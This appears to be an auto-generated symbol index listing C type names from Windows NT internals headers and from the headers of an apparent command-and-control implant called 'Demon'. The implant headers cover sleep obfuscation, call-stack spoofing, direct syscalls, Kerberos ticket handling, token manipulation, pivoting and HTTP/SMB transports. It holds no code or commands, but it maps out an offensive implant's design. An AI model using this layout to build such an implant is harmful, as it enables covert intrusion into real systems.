  type THREAD_BASIC_INFORMATION (line 7112) | typedef struct _THREAD_BASIC_INFORMATION
  type PROCESS_DEVICEMAP_INFORMATION (line 7128) | typedef struct _PROCESS_DEVICEMAP_INFORMATION {
  type PROCESS_DEVICEMAP_INFORMATION_EX (line 7140) | typedef struct _PROCESS_DEVICEMAP_INFORMATION_EX {
  type PROCESS_BASIC_INFORMATION (line 7154) | typedef struct _PROCESS_BASIC_INFORMATION
  type PROCESS_BASIC_INFORMATION (line 7163) | typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION;
  type PROCESS_EXTENDED_BASIC_INFORMATION (line 7165) | typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION
  type RTL_HEAP_ENTRY (line 7183) | typedef struct _RTL_HEAP_ENTRY
  type RTL_HEAP_TAG (line 7213) | typedef struct _RTL_HEAP_TAG
  type RTL_HEAP_INFORMATION (line 7223) | typedef struct _RTL_HEAP_INFORMATION
  type RTL_PROCESS_HEAPS (line 7240) | typedef struct _RTL_PROCESS_HEAPS
  type RTL_PROCESS_LOCK_INFORMATION (line 7246) | typedef struct _RTL_PROCESS_LOCK_INFORMATION
  type ASHA_CTX (line 7272) | typedef struct {
  type _CONTEXT (line 7279) | struct _CONTEXT
  type _EXCEPTION_RECORD (line 7280) | struct _EXCEPTION_RECORD
  type EXCEPTION_DISPOSITION (line 7284) | typedef
  type EXCEPTION_REGISTRATION_RECORD (line 7293) | typedef struct _EXCEPTION_REGISTRATION_RECORD {
  type EXCEPTION_REGISTRATION_RECORD (line 7298) | typedef EXCEPTION_REGISTRATION_RECORD *PEXCEPTION_REGISTRATION_RECORD;
  type POINTER_64_INT (line 7303) | typedef unsigned __int64 POINTER_64_INT;
  type NT_PRODUCT_TYPE (line 7311) | typedef enum _NT_PRODUCT_TYPE
  type SUITE_TYPE (line 7319) | typedef enum _SUITE_TYPE
  type CONTEXT (line 7363) | typedef struct _CONTEXT
  type EXCEPTION_RECORD (line 7450) | typedef struct _EXCEPTION_RECORD
  type EXCEPTION_RECORD32 (line 7466) | typedef struct _EXCEPTION_RECORD32 {
  type EXCEPTION_RECORD64 (line 7475) | typedef struct _EXCEPTION_RECORD64 {
  type EXCEPTION_POINTERS (line 7489) | typedef struct _EXCEPTION_POINTERS
  type RTL_QUERY_REGISTRY_TABLE (line 7506) | typedef struct _RTL_QUERY_REGISTRY_TABLE {
  type PROCESS_PRIORITY_CLASS (line 7543) | typedef struct _PROCESS_PRIORITY_CLASS {
  type PROCESS_FOREGROUND_BACKGROUND (line 7548) | typedef struct _PROCESS_FOREGROUND_BACKGROUND {
  type FILE_PATH (line 7552) | typedef struct _FILE_PATH {
  type WINDOWS_OS_OPTIONS (line 7569) | typedef struct _WINDOWS_OS_OPTIONS {
  type BOOT_ENTRY (line 7582) | typedef struct _BOOT_ENTRY {
  type BOOT_OPTIONS (line 7595) | typedef struct _BOOT_OPTIONS {
  type USER_SID (line 7609) | typedef struct _USER_SID
  type USER_PERMISSION (line 7617) | typedef struct _USER_PERMISSION
  type UNICODE_STRING (line 8507) | typedef UNICODE_STRING LSA_UNICODE_STRING, *PLSA_UNICODE_STRING;
  type STRING (line 8508) | typedef STRING LSA_STRING, *PLSA_STRING;
  type OBJECT_ATTRIBUTES (line 8509) | typedef OBJECT_ATTRIBUTES LSA_OBJECT_ATTRIBUTES, *PLSA_OBJECT_ATTRIBUTES;
  type LSA_UNICODE_STRING (line 8513) | typedef struct _LSA_UNICODE_STRING {
  type LSA_STRING (line 8522) | typedef struct _LSA_STRING {
  type LSA_OBJECT_ATTRIBUTES (line 8528) | typedef struct _LSA_OBJECT_ATTRIBUTES {
  type LSA_TRUST_INFORMATION (line 8539) | typedef struct _LSA_TRUST_INFORMATION {
  type LSA_REFERENCED_DOMAIN_LIST (line 8544) | typedef struct _LSA_REFERENCED_DOMAIN_LIST {
  type LSA_TRANSLATED_SID2 (line 8550) | typedef struct _LSA_TRANSLATED_SID2 {
  type LSA_TRANSLATED_NAME (line 8558) | typedef struct _LSA_TRANSLATED_NAME {
  type POLICY_ACCOUNT_DOMAIN_INFO (line 8564) | typedef struct _POLICY_ACCOUNT_DOMAIN_INFO {
  type POLICY_DNS_DOMAIN_INFO (line 8569) | typedef struct _POLICY_DNS_DOMAIN_INFO
  type LSA_LOOKUP_DOMAIN_INFO_CLASS (line 8581) | typedef enum _LSA_LOOKUP_DOMAIN_INFO_CLASS {
  type PVOID (line 8586) | typedef PVOID LSA_LOOKUP_HANDLE, *PLSA_LOOKUP_HANDLE;
  type SECURITY_LOGON_TYPE (line 8640) | typedef enum _SECURITY_LOGON_TYPE {
  type ULONG (line 8662) | typedef ULONG LSA_OPERATIONAL_MODE, *PLSA_OPERATIONAL_MODE;
  type SE_ADT_PARAMETER_TYPE (line 8676) | typedef enum _SE_ADT_PARAMETER_TYPE {
  type SE_ADT_OBJECT_TYPE (line 8715) | typedef struct _SE_ADT_OBJECT_TYPE {
  type SE_ADT_PARAMETER_ARRAY_ENTRY (line 8723) | typedef struct _SE_ADT_PARAMETER_ARRAY_ENTRY {
  type SE_ADT_ACCESS_REASON (line 8732) | typedef struct _SE_ADT_ACCESS_REASON{
  type SE_ADT_PARAMETER_ARRAY (line 8743) | typedef struct _SE_ADT_PARAMETER_ARRAY {
  type POLICY_AUDIT_EVENT_TYPE (line 8769) | typedef enum _POLICY_AUDIT_EVENT_TYPE {
  type LSA_TRANSLATED_SID (line 8914) | typedef struct _LSA_TRANSLATED_SID {
  type POLICY_LSA_SERVER_ROLE (line 8922) | typedef enum _POLICY_LSA_SERVER_ROLE {
  type POLICY_SERVER_ENABLE_STATE (line 8931) | typedef enum _POLICY_SERVER_ENABLE_STATE {
  type ULONG (line 8939) | typedef ULONG POLICY_AUDIT_EVENT_OPTIONS, *PPOLICY_AUDIT_EVENT_OPTIONS;
  type POLICY_INFORMATION_CLASS (line 8941) | typedef enum _POLICY_INFORMATION_CLASS {
  type POLICY_AUDIT_LOG_INFO (line 8961) | typedef struct _POLICY_AUDIT_LOG_INFO {
  type POLICY_AUDIT_EVENTS_INFO (line 8972) | typedef struct _POLICY_AUDIT_EVENTS_INFO {
  type POLICY_AUDIT_SUBCATEGORIES_INFO (line 8980) | typedef struct _POLICY_AUDIT_SUBCATEGORIES_INFO {
  type POLICY_AUDIT_CATEGORIES_INFO (line 8987) | typedef struct _POLICY_AUDIT_CATEGORIES_INFO {
  type POLICY_PRIMARY_DOMAIN_INFO (line 9012) | typedef struct _POLICY_PRIMARY_DOMAIN_INFO {
  type POLICY_PD_ACCOUNT_INFO (line 9019) | typedef struct _POLICY_PD_ACCOUNT_INFO {
  type POLICY_LSA_SERVER_ROLE_INFO (line 9025) | typedef struct _POLICY_LSA_SERVER_ROLE_INFO {
  type POLICY_REPLICA_SOURCE_INFO (line 9031) | typedef struct _POLICY_REPLICA_SOURCE_INFO {
  type POLICY_DEFAULT_QUOTA_INFO (line 9038) | typedef struct _POLICY_DEFAULT_QUOTA_INFO {
  type POLICY_MODIFICATION_INFO (line 9045) | typedef struct _POLICY_MODIFICATION_INFO {
  type POLICY_AUDIT_FULL_SET_INFO (line 9053) | typedef struct _POLICY_AUDIT_FULL_SET_INFO {
  type POLICY_AUDIT_FULL_QUERY_INFO (line 9060) | typedef struct _POLICY_AUDIT_FULL_QUERY_INFO {
  type POLICY_DOMAIN_INFORMATION_CLASS (line 9068) | typedef enum _POLICY_DOMAIN_INFORMATION_CLASS {
  type POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO (line 9095) | typedef struct _POLICY_DOMAIN_QUALITY_OF_SERVICE_INFO {
  type POLICY_DOMAIN_EFS_INFO (line 9103) | typedef struct _POLICY_DOMAIN_EFS_INFO {
  type POLICY_DOMAIN_KERBEROS_TICKET_INFO (line 9112) | typedef struct _POLICY_DOMAIN_KERBEROS_TICKET_INFO {
  type POLICY_NOTIFICATION_INFORMATION_CLASS (line 9122) | typedef enum _POLICY_NOTIFICATION_INFORMATION_CLASS {
  type PVOID (line 9136) | typedef PVOID LSA_HANDLE, *PLSA_HANDLE;
  type TRUSTED_INFORMATION_CLASS (line 9138) | typedef enum _TRUSTED_INFORMATION_CLASS {
  type TRUSTED_DOMAIN_NAME_INFO (line 9155) | typedef struct _TRUSTED_DOMAIN_NAME_INFO {
  type TRUSTED_CONTROLLERS_INFO (line 9161) | typedef struct _TRUSTED_CONTROLLERS_INFO {
  type TRUSTED_POSIX_OFFSET_INFO (line 9168) | typedef struct _TRUSTED_POSIX_OFFSET_INFO {
  type TRUSTED_PASSWORD_INFO (line 9174) | typedef struct _TRUSTED_PASSWORD_INFO {
  type LSA_TRUST_INFORMATION (line 9179) | typedef  LSA_TRUST_INFORMATION TRUSTED_DOMAIN_INFORMATION_BASIC;
  type PLSA_TRUST_INFORMATION (line 9180) | typedef PLSA_TRUST_INFORMATION PTRUSTED_DOMAIN_INFORMATION_BASIC;
  type TRUSTED_DOMAIN_INFORMATION_EX (line 9237) | typedef struct _TRUSTED_DOMAIN_INFORMATION_EX {
  type TRUSTED_DOMAIN_INFORMATION_EX2 (line 9248) | typedef struct _TRUSTED_DOMAIN_INFORMATION_EX2 {
  type LSA_AUTH_INFORMATION (line 9269) | typedef struct _LSA_AUTH_INFORMATION {
  type TRUSTED_DOMAIN_AUTH_INFORMATION (line 9277) | typedef struct _TRUSTED_DOMAIN_AUTH_INFORMATION {
  type TRUSTED_DOMAIN_FULL_INFORMATION (line 9288) | typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION {
  type TRUSTED_DOMAIN_FULL_INFORMATION2 (line 9296) | typedef struct _TRUSTED_DOMAIN_FULL_INFORMATION2 {
  type TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES (line 9304) | typedef struct _TRUSTED_DOMAIN_SUPPORTED_ENCRYPTION_TYPES {
  type LSA_FOREST_TRUST_RECORD_TYPE (line 9310) | typedef enum {
  type LSA_FOREST_TRUST_DOMAIN_INFO (line 9346) | typedef struct _LSA_FOREST_TRUST_DOMAIN_INFO {
  type LSA_FOREST_TRUST_BINARY_DATA (line 9368) | typedef struct _LSA_FOREST_TRUST_BINARY_DATA {
  type LSA_FOREST_TRUST_RECORD (line 9380) | typedef struct _LSA_FOREST_TRUST_RECORD {
  type LSA_FOREST_TRUST_INFORMATION (line 9415) | typedef struct _LSA_FOREST_TRUST_INFORMATION {
  type LSA_FOREST_TRUST_COLLISION_RECORD_TYPE (line 9427) | typedef enum {
  type LSA_FOREST_TRUST_COLLISION_RECORD (line 9435) | typedef struct _LSA_FOREST_TRUST_COLLISION_RECORD {
  type LSA_FOREST_TRUST_COLLISION_INFORMATION (line 9444) | typedef struct _LSA_FOREST_TRUST_COLLISION_INFORMATION {
  type ULONG (line 9459) | typedef ULONG LSA_ENUMERATION_HANDLE, *PLSA_ENUMERATION_HANDLE;
  type LSA_ENUMERATION_INFORMATION (line 9465) | typedef struct _LSA_ENUMERATION_INFORMATION {
  type LSA_LAST_INTER_LOGON_INFO (line 9493) | typedef struct _LSA_LAST_INTER_LOGON_INFO {
  type SECURITY_LOGON_SESSION_DATA (line 9502) | typedef struct _SECURITY_LOGON_SESSION_DATA {
  type EFI_DRIVER_ENTRY (line 9854) | typedef struct _EFI_DRIVER_ENTRY {
  type EFI_DRIVER_ENTRY_LIST (line 9864) | typedef struct _EFI_DRIVER_ENTRY_LIST {
  type RTL_STACK_CONTEXT_ENTRY (line 9872) | typedef struct _RTL_STACK_CONTEXT_ENTRY {
  type RTL_STACK_CONTEXT (line 9877) | typedef struct _RTL_STACK_CONTEXT {
  type RTL_HEAP_PARAMETERS (line 9889) | typedef struct _RTL_HEAP_PARAMETERS
  type _RTL_AVL_TABLE (line 9921) | struct _RTL_AVL_TABLE
  type RTL_SPLAY_LINKS (line 9923) | typedef struct _RTL_SPLAY_LINKS {
  type RTL_SPLAY_LINKS (line 9928) | typedef RTL_SPLAY_LINKS *PRTL_SPLAY_LINKS;
  type TABLE_SEARCH_RESULT (line 9930) | typedef enum _TABLE_SEARCH_RESULT
  type RTL_GENERIC_COMPARE_RESULTS (line 9938) | typedef enum _RTL_GENERIC_COMPARE_RESULTS
  type _RTL_AVL_TABLE (line 9945) | struct _RTL_AVL_TABLE
  type RTL_BALANCED_LINKS (line 10015) | typedef struct _RTL_BALANCED_LINKS
  type RTL_AVL_TABLE (line 10024) | typedef struct _RTL_AVL_TABLE
  type RTL_GENERIC_TABLE (line 10039) | typedef struct _RTL_GENERIC_TABLE {
  type RTL_GENERIC_TABLE (line 10050) | typedef RTL_GENERIC_TABLE *PRTL_GENERIC_TABLE;
  type GENERATE_NAME_CONTEXT (line 10052) | typedef struct _GENERATE_NAME_CONTEXT {
  type GENERATE_NAME_CONTEXT (line 10066) | typedef GENERATE_NAME_CONTEXT *PGENERATE_NAME_CONTEXT;
  type PREFIX_TABLE_ENTRY (line 10068) | typedef struct _PREFIX_TABLE_ENTRY {
  type PREFIX_TABLE_ENTRY (line 10075) | typedef PREFIX_TABLE_ENTRY *PPREFIX_TABLE_ENTRY;
  type PREFIX_TABLE (line 10077) | typedef struct _PREFIX_TABLE {
  type PREFIX_TABLE (line 10082) | typedef PREFIX_TABLE *PPREFIX_TABLE;
  type UNICODE_PREFIX_TABLE_ENTRY (line 10084) | typedef struct _UNICODE_PREFIX_TABLE_ENTRY {
  type UNICODE_PREFIX_TABLE_ENTRY (line 10092) | typedef UNICODE_PREFIX_TABLE_ENTRY *PUNICODE_PREFIX_TABLE_ENTRY;
  type UNICODE_PREFIX_TABLE (line 10094) | typedef struct _UNICODE_PREFIX_TABLE {
  type UNICODE_PREFIX_TABLE (line 10100) | typedef UNICODE_PREFIX_TABLE *PUNICODE_PREFIX_TABLE;
  type COMPRESSED_DATA_INFO (line 10110) | typedef struct _COMPRESSED_DATA_INFO {
  type COMPRESSED_DATA_INFO (line 10122) | typedef COMPRESSED_DATA_INFO *PCOMPRESSED_DATA_INFO;
  type SECTION_IMAGE_INFORMATION (line 10124) | typedef struct _SECTION_IMAGE_INFORMATION {
  type SECTION_IMAGE_INFORMATION64 (line 10161) | typedef struct _SECTION_IMAGE_INFORMATION64 {
  type RTL_BITMAP (line 10185) | typedef struct _RTL_BITMAP {
  type RTL_BITMAP (line 10190) | typedef RTL_BITMAP *PRTL_BITMAP;
  type RTL_RANGE_LIST (line 10198) | typedef struct _RTL_RANGE_LIST {
  type RTL_BSD_ITEM_TYPE (line 10205) | typedef enum {
  type RTL_RANGE_LIST_ITERATOR (line 10215) | typedef struct _RANGE_LIST_ITERATOR {
  type STARTUP_ARGUMENT (line 10222) | typedef struct _STARTUP_ARGUMENT
  type NTSTATUS (line 10242) | typedef NTSTATUS (*PUSER_PROCESS_START_ROUTINE)(
  type NTSTATUS (line 10246) | typedef NTSTATUS (*PUSER_THREAD_START_ROUTINE)(
  type RTL_USER_PROCESS_INFORMATION (line 10250) | typedef struct _RTL_USER_PROCESS_INFORMATION {
  type RTL_USER_PROCESS_INFORMATION64 (line 10258) | typedef struct _RTL_USER_PROCESS_INFORMATION64 {
  type RTL_RESOURCE (line 10271) | typedef struct _RTL_RESOURCE {
  type RTL_TRACE_BLOCK (line 10290) | typedef struct _RTL_TRACE_BLOCK {
  type ULONG (line 10303) | typedef ULONG (* RTL_TRACE_HASH_FUNCTION) (ULONG Count, PVOID * Trace);
  type _RTL_TRACE_DATABASE (line 10304) | struct _RTL_TRACE_DATABASE
  type RTL_TRACE_ENUMERATE (line 10306) | typedef struct _RTL_TRACE_ENUMERATE {
  type KLDR_DATA_TABLE_ENTRY (line 10312) | typedef struct _KLDR_DATA_TABLE_ENTRY
  type DISPATCHER_HEADER (line 10347) | typedef struct _DISPATCHER_HEADER
  type KEVENT (line 10380) | typedef struct _KEVENT
  type KGATE (line 10385) | typedef struct _KGATE
  type KSEMAPHORE (line 10390) | typedef struct _KSEMAPHORE
  type OWNER_ENTRY (line 10396) | typedef struct _OWNER_ENTRY
  type ERESOURCE (line 10403) | typedef struct _ERESOURCE
  type HEAP_LOCK (line 10441) | typedef struct _HEAP_LOCK
  type HEAP_TUNING_PARAMETERS (line 10450) | typedef struct _HEAP_TUNING_PARAMETERS
  type HEAP_PSEUDO_TAG_ENTRY (line 10456) | typedef struct _HEAP_PSEUDO_TAG_ENTRY
  type HEAP_TAG_ENTRY (line 10463) | typedef struct _HEAP_TAG_ENTRY
  type HEAP_ENTRY (line 10473) | typedef struct _HEAP_ENTRY
  type HEAP_COUNTERS (line 10496) | typedef struct _HEAP_COUNTERS
  type HEAP (line 10518) | typedef struct _HEAP
  type HEAP_FREE_ENTRY_EXTRA (line 10575) | typedef struct _HEAP_FREE_ENTRY_EXTRA
  type HEAP_ENTRY_EXTRA (line 10581) | typedef struct _HEAP_ENTRY_EXTRA
  type HEAP_VIRTUAL_ALLOC_ENTRY (line 10589) | typedef struct _HEAP_VIRTUAL_ALLOC_ENTRY
  type HARDERROR_RESPONSE_OPTION (line 10614) | typedef enum _HARDERROR_RESPONSE_OPTION
  type HARDERROR_RESPONSE (line 10627) | typedef enum _HARDERROR_RESPONSE
  type ALTERNATIVE_ARCHITECTURE_TYPE (line 10642) | typedef enum _ALTERNATIVE_ARCHITECTURE_TYPE
  type XSTATE_FEATURE (line 10674) | typedef struct _XSTATE_FEATURE {
  type XSTATE_CONFIGURATION (line 10679) | typedef struct _XSTATE_CONFIGURATION {
  type HEAP_INFORMATION_CLASS (line 10695) | typedef enum _HEAP_INFORMATION_CLASS {
  type KUSER_SHARED_DATA (line 10702) | typedef struct _KUSER_SHARED_DATA
  type _KUSER_SHARED_DATA (line 10905) | struct _KUSER_SHARED_DATA
  function ULONG (line 10907) | __forceinline ULONG NtGetTickCount() { return (ULONG) ((USER_SHARED_DATA...
  type RTL_PROCESS_REFLECTION_INFORMATION (line 10915) | typedef struct _RTL_PROCESS_REFLECTION_INFORMATION
  type VM_COUNTERS (line 10923) | typedef struct _VM_COUNTERS {
  type VM_COUNTERS (line 10937) | typedef VM_COUNTERS *PVM_COUNTERS;
  type IO_COUNTERS (line 10940) | typedef struct _IO_COUNTERS {
  type IO_COUNTERS (line 10948) | typedef IO_COUNTERS *PIO_COUNTERS;
  type SYSTEM_PROCESSES_INFORMATION (line 10953) | typedef struct _SYSTEM_PROCESSES_INFORMATION {
  type DBGKM_EXCEPTION (line 10977) | typedef struct _DBGKM_EXCEPTION
  type DBGKM_CREATE_THREAD (line 10983) | typedef struct _DBGKM_CREATE_THREAD
  type DBGKM_CREATE_PROCESS (line 10989) | typedef struct _DBGKM_CREATE_PROCESS
  type DBGKM_EXIT_THREAD (line 10999) | typedef struct _DBGKM_EXIT_THREAD
  type DBGKM_EXIT_PROCESS (line 11004) | typedef struct _DBGKM_EXIT_PROCESS
  type DBGKM_LOAD_DLL (line 11009) | typedef struct _DBGKM_LOAD_DLL
  type DBGKM_UNLOAD_DLL (line 11018) | typedef struct _DBGKM_UNLOAD_DLL
  type DBG_STATE (line 11023) | typedef enum _DBG_STATE
  type DBGUI_CREATE_THREAD (line 11038) | typedef struct _DBGUI_CREATE_THREAD
  type DBGUI_CREATE_PROCESS (line 11044) | typedef struct _DBGUI_CREATE_PROCESS
  type DBGUI_WAIT_STATE_CHANGE (line 11051) | typedef struct _DBGUI_WAIT_STATE_CHANGE
  type DEBUGOBJECTINFOCLASS (line 11077) | typedef enum _DEBUGOBJECTINFOCLASS
  type RTL_HEAP_TAG_INFO (line 11086) | typedef struct _RTL_HEAP_TAG_INFO
  type RTL_HEAP_USAGE_ENTRY (line 11101) | typedef struct _RTL_HEAP_USAGE_ENTRY
  type RTL_HEAP_USAGE (line 11110) | typedef struct _RTL_HEAP_USAGE
  type RTL_HEAP_WALK_ENTRY (line 11126) | typedef struct _RTL_HEAP_WALK_ENTRY
  type HEAP_DEBUGGING_INFORMATION (line 11163) | typedef struct _HEAP_DEBUGGING_INFORMATION
  type RTL_MEMORY_ZONE_SEGMENT (line 11182) | typedef struct _RTL_MEMORY_ZONE_SEGMENT
  type RTL_SRWLOCK (line 11191) | typedef struct _RTL_SRWLOCK {
  type RTL_MEMORY_ZONE (line 11196) | typedef struct _RTL_MEMORY_ZONE
  type RTL_PROCESS_VERIFIER_OPTIONS (line 11204) | typedef struct _RTL_PROCESS_VERIFIER_OPTIONS
  type VIRTUAL_MEMORY_INFORMATION_CLASS (line 11211) | typedef enum _VIRTUAL_MEMORY_INFORMATION_CLASS
  type VM_INFORMATION (line 11218) | typedef struct _VM_INFORMATION
  type MEMORY_RANGE_ENTRY (line 11227) | typedef struct _MEMORY_RANGE_ENTRY
  type RTL_PROCESS_LOCKS (line 11233) | typedef struct _RTL_PROCESS_LOCKS {
  type RTL_PROCESS_BACKTRACE_INFORMATION (line 11240) | typedef struct _RTL_PROCESS_BACKTRACE_INFORMATION {
  type RTL_PROCESS_BACKTRACES (line 11248) | typedef struct _RTL_PROCESS_BACKTRACES {
  type RTL_DEBUG_INFORMATION (line 11256) | typedef struct _RTL_DEBUG_INFORMATION
  type _RTL_MEMORY_STREAM_DATA (line 11292) | struct _RTL_MEMORY_STREAM_DATA
  type _RTL_MEMORY_STREAM_WITH_VTABLE (line 11293) | struct _RTL_MEMORY_STREAM_WITH_VTABLE
  type _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA (line 11294) | struct _RTL_OUT_OF_PROCESS_MEMORY_STREAM_DATA
  type RTL_HANDLE_TABLE_ENTRY (line 11330) | typedef struct _RTL_HANDLE_TABLE_ENTRY
  type RTL_HANDLE_TABLE (line 11341) | typedef struct _RTL_HANDLE_TABLE
  type JOB_SET_ARRAY (line 11353) | typedef struct _JOB_SET_ARRAY {
  type ULONGLONG (line 11495) | typedef ULONGLONG REGHANDLE, *PREGHANDLE;
  type EVENT_DATA_DESCRIPTOR (line 11505) | typedef struct _EVENT_DATA_DESCRIPTOR
  type EVENT_DESCRIPTOR (line 11512) | typedef struct _EVENT_DESCRIPTOR
  type EVENT_DESCRIPTOR (line 11522) | typedef const EVENT_DESCRIPTOR *PCEVENT_DESCRIPTOR;
  type EVENT_FILTER_DESCRIPTOR (line 11528) | typedef struct _EVENT_FILTER_DESCRIPTOR
  type CHANNEL_MESSAGE (line 11540) | typedef struct _CHANNEL_MESSAGE
  type HOTPATCH_HEADER (line 11553) | typedef struct _HOTPATCH_HEADER
  type HOTPATCH_MODULE_DATA (line 11572) | typedef struct _HOTPATCH_MODULE_DATA
  type HOTPATCH_MODULE_ENTRY (line 11579) | typedef struct _HOTPATCH_MODULE_ENTRY
  type HOTPATCH_HOOK (line 11585) | typedef struct _HOTPATCH_HOOK
  type RTL_PATCH_HEADER (line 11594) | typedef struct _RTL_PATCH_HEADER
  type DECLSPEC_ALIGN (line 11631) | struct DECLSPEC_ALIGN
  type DECLSPEC_ALIGN (line 11632) | struct DECLSPEC_ALIGN
  type DECLSPEC_ALIGN (line 11647) | struct DECLSPEC_ALIGN
  type _SLIST_HEADER (line 11652) | struct _SLIST_HEADER
  type SLIST_HEADER (line 11656) | typedef union _SLIST_HEADER {
  type POSVERSIONINFOW (line 14762) | typedef POSVERSIONINFOW PRTL_OSVERSIONINFOW;
  type POSVERSIONINFOEXW (line 14763) | typedef POSVERSIONINFOEXW PRTL_OSVERSIONINFOEXW;
  type PVOID (line 14766) | typedef VOID (NTAPI * APC_CALLBACK_FUNCTION) (DWORD , PVOID, PVOID);
  type GUID (line 14768) | typedef const GUID *LPCGUID;
  type RTL_UNLOAD_EVENT_TRACE (line 21429) | typedef struct _RTL_UNLOAD_EVENT_TRACE {
  type RTL_UNLOAD_EVENT_TRACE64 (line 21438) | typedef struct _RTL_UNLOAD_EVENT_TRACE64 {
  type RTL_UNLOAD_EVENT_TRACE32 (line 21447) | typedef struct _RTL_UNLOAD_EVENT_TRACE32 {
  type RTLP_UNHANDLED_EXCEPTION_FILTER (line 21620) | typedef RTLP_UNHANDLED_EXCEPTION_FILTER *PRTLP_UNHANDLED_EXCEPTION_FILTER;
  type VOID (line 21687) | typedef
  type ADDRINFOA (line 22497) | typedef struct addrinfo {

FILE: payloads/Demon/include/core/CoffeeLdr.h
  type COFFEE_PARAMS (line 19) | typedef struct _COFFEE_PARAMS
  type COFF_FILE_HEADER (line 30) | typedef struct _COFF_FILE_HEADER
  type COFF_SECTION (line 46) | typedef struct _COFF_SECTION
  type COFF_RELOC (line 60) | typedef struct _COFF_RELOC
  type COFF_SYMBOL (line 67) | typedef struct _COFF_SYMBOL
  type SECTION_MAP (line 82) | typedef struct _SECTION_MAP
  type COFFEE (line 88) | typedef struct _COFFEE
  type COFFEE_KEY_VALUE (line 108) | typedef struct _COFFEE_KEY_VALUE

FILE: payloads/Demon/include/core/Command.h
  type DEMON_COMMAND (line 139) | typedef struct

FILE: payloads/Demon/include/core/Download.h
  type DownloadState (line 17) | typedef enum {
  type DOWNLOAD_DATA (line 23) | typedef struct _DOWNLOAD_DATA
  type MEM_FILE (line 48) | typedef struct _MEM_FILE

FILE: payloads/Demon/include/core/HwBpEngine.h
  type BP_LIST (line 7) | typedef struct _BP_LIST
  type HWBP_ENGINE (line 18) | typedef struct _HWBP_ENGINE

FILE: payloads/Demon/include/core/Jobs.h
  type JOB_DATA (line 14) | typedef struct _JOB_DATA

FILE: payloads/Demon/include/core/Kerberos.h
  type TICKET_INFORMATION (line 26) | typedef struct _TICKET_INFORMATION {
  type SESSION_INFORMATION (line 40) | typedef struct _SESSION_INFORMATION {
  type KERB_PROTOCOL_MESSAGE_TYPE (line 56) | typedef enum _KERB_PROTOCOL_MESSAGE_TYPE {
  type KERB_CRYPTO_KEY (line 96) | typedef struct KERB_CRYPTO_KEY {
  type KERB_CRYPTO_KEY32 (line 102) | typedef struct KERB_CRYPTO_KEY32 {
  type KERB_SUBMIT_TKT_REQUEST (line 108) | typedef struct _KERB_SUBMIT_TKT_REQUEST {
  type KERB_PURGE_TKT_CACHE_REQUEST (line 117) | typedef struct _KERB_PURGE_TKT_CACHE_REQUEST {
  type KERB_TICKET_CACHE_INFO_EX (line 124) | typedef struct _KERB_TICKET_CACHE_INFO_EX {
  type KERB_QUERY_TKT_CACHE_EX_RESPONSE (line 136) | typedef struct _KERB_QUERY_TKT_CACHE_EX_RESPONSE {
  type SecHandle (line 143) | typedef struct _SecHandle {
  type KERB_RETRIEVE_TKT_REQUEST (line 151) | typedef struct _KERB_RETRIEVE_TKT_REQUEST {
  type KERB_EXTERNAL_NAME (line 161) | typedef struct _KERB_EXTERNAL_NAME {
  type KERB_EXTERNAL_TICKET (line 167) | typedef struct _KERB_EXTERNAL_TICKET {
  type KERB_RETRIEVE_TKT_RESPONSE (line 186) | typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
  type KERB_QUERY_TKT_CACHE_REQUEST (line 190) | typedef struct _KERB_QUERY_TKT_CACHE_REQUEST {
  type LOGON_SESSION_DATA (line 195) | typedef struct _LOGON_SESSION_DATA {

FILE: payloads/Demon/include/core/Memory.h
  type DX_MEMORY (line 6) | typedef enum _DX_MEMORY

FILE: payloads/Demon/include/core/ObjectApi.h
  type COFFAPIFUNC (line 6) | typedef struct
  type datap (line 22) | typedef struct {
  type HEAP_RECORD (line 29) | typedef struct {
  type BEACON_INFO (line 35) | typedef struct {
  type DATA_STORE_OBJECT (line 49) | typedef struct {

FILE: payloads/Demon/include/core/Package.h
  type PACKAGE (line 8) | typedef struct _PACKAGE {

FILE: payloads/Demon/include/core/Parser.h
  type PARSER (line 6) | typedef struct {

FILE: payloads/Demon/include/core/Pivot.h
  type PIVOT_DATA (line 8) | typedef struct _PIVOT_DATA

FILE: payloads/Demon/include/core/SleepObf.h
  type USTRING (line 25) | typedef struct
  type SLEEP_PARAM (line 32) | typedef struct _SLEEP_PARAM

FILE: payloads/Demon/include/core/Socket.h
  type SOCKADDR_IN6_LH (line 28) | typedef struct sockaddr_in6 {
  type SOCKET_DATA (line 39) | typedef struct _SOCKET_DATA

FILE: payloads/Demon/include/core/Spoof.h
  type PRM (line 10) | typedef struct

FILE: payloads/Demon/include/core/Syscalls.h
  type SYS_CONFIG (line 32) | typedef struct _SYS_CONFIG {

FILE: payloads/Demon/include/core/Thread.h
  type WOW64CONTEXT (line 25) | typedef struct _WOW64CONTEXT

FILE: payloads/Demon/include/core/Token.h
  type PROCESS_LIST (line 37) | typedef struct _PROCESS_LIST
  type USER_TOKEN_DATA (line 43) | typedef struct _USER_TOKEN_DATA
  type OBJECT_TYPE_INFORMATION_V2 (line 53) | typedef struct _OBJECT_TYPE_INFORMATION_V2 {
  type TOKEN_LIST_DATA (line 80) | typedef struct _TOKEN_LIST_DATA
  type SECURITY_IMPERSONATION_LEVEL (line 95) | typedef SECURITY_IMPERSONATION_LEVEL SEC_IMP_LEVEL;

FILE: payloads/Demon/include/core/TransportHttp.h
  type HOST_DATA (line 15) | typedef struct _HOST_DATA

FILE: payloads/Demon/include/core/TransportSmb.h
  type SMB_PIPE_SEC_ATTR (line 9) | typedef struct

FILE: payloads/Demon/include/core/Win32.h
  type DIR_OR_FILE (line 28) | typedef struct _DIR_OR_FILE
  type SUB_DIR (line 39) | typedef struct _SUB_DIR
  type ROOT_DIR (line 46) | typedef struct _ROOT_DIR
  type THREAD_TEB_INFORMATION (line 57) | typedef struct
  type BUFFER (line 64) | typedef struct _BUFFER
  type ANONPIPE (line 70) | typedef struct _ANONPIPE
  type PS_ATTRIBUTE_NUM (line 76) | typedef enum _PS_ATTRIBUTE_NUM
  type PROC_THREAD_ATTRIBUTE_ENTRY (line 93) | typedef struct _PROC_THREAD_ATTRIBUTE_ENTRY
  type EXTENDED_PROCESS_INFORMATION (line 101) | typedef struct __attribute__((packed))
